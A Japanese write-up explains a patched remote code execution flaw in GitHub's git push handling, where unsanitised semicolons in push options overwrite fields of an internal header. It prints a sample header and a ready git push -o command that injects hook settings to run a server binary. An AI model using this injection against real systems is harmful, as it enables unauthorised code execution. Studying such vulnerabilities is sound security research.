
Wiz Research が GitHub.com および GitHub Enterprise Server の内部 git push パイプラインで発見した脆弱性の仕組みに関する実践的な概要。
この資料は教育目的および攻撃的セキュリティ研究を目的としています。 この脆弱性は、サポートされているすべてのバージョンで GitHub によってすでに修正されています。 自分が所有していない環境、または書面による明示的な許可を得ていない環境に対して再現を試みないでください。 システムへの不正アクセスはブラジルでは犯罪であり(Lei 12.737/2012、通称 Carolina Dieckmann 法)、 コンピューター機器への侵入とみなされ、拘留刑が科せられる可能性があります。
認証済みの攻撃者が git push -o で ; を送信することで GitHub 上で RCE を達成できます。babeld(GitHub の内部プロキシであり、すべての SSH のエントリポイント)はサニタイズを行わず、; が内部ヘッダー X-Stat を破壊し、gitrpcd が盲目的に信頼するセキュリティフィールドを上書きします。3 つの上書き(rails_env、custom_hooks_dir、)により、pre-receive フックがサーバー上の任意のバイナリを user git として連結して実行します。
repo_pre_receive_hooks
基本的に、git push で ; のサニタイズが行われないため、X-Stat ヘッダーに書き込むことができ、ターゲットサーバーのパス(例: /bin)を指定して、このヘッダーの別の「フィールド」である repo_pre_receive_hooks と連結することができます。これにより、そのフィールドが whoami の場合、連結結果は /bin/ + whoami となり、サーバー上で直接実行されます。
ただし、デフォルトでは X-Stat のこれらのフィールドはすべて babeld によって事前に設定されています。なぜなら、RPC(gitrpcd)はユーザーが変更できないと信じて、それを盲目的に信頼して読み取るからです:
以下は、babeld が X-Stat のフィールドをどのように設定するかの例です:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
しかし、git push 中に ; をサニタイズしないため、直接書き込むことができ、さらに重要なことに、これは last-write-wins 方式で、最後に書き込まれたものが優先されます。つまり、次のように実行すると:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
上書きされたフィールドは次のようになります:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(上記の例のように単に whoami を入れるだけの単純なものではありません。実際には JSON であり、[{"script":"whoami"}] のような形になります。)
そして、脆弱なバージョンでは、サーバー上で whoami バイナリが実行されます。
ただし、これだけではサンドボックス内でのみ実行されます。そのため、X-Stat ヘッダーのもう 1 つのパラメータ rails_env=production を変更することが重要です。これは production 以外の任意の値にする必要があります。
最後に、悪意のあるスクリプトは次のようになります:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"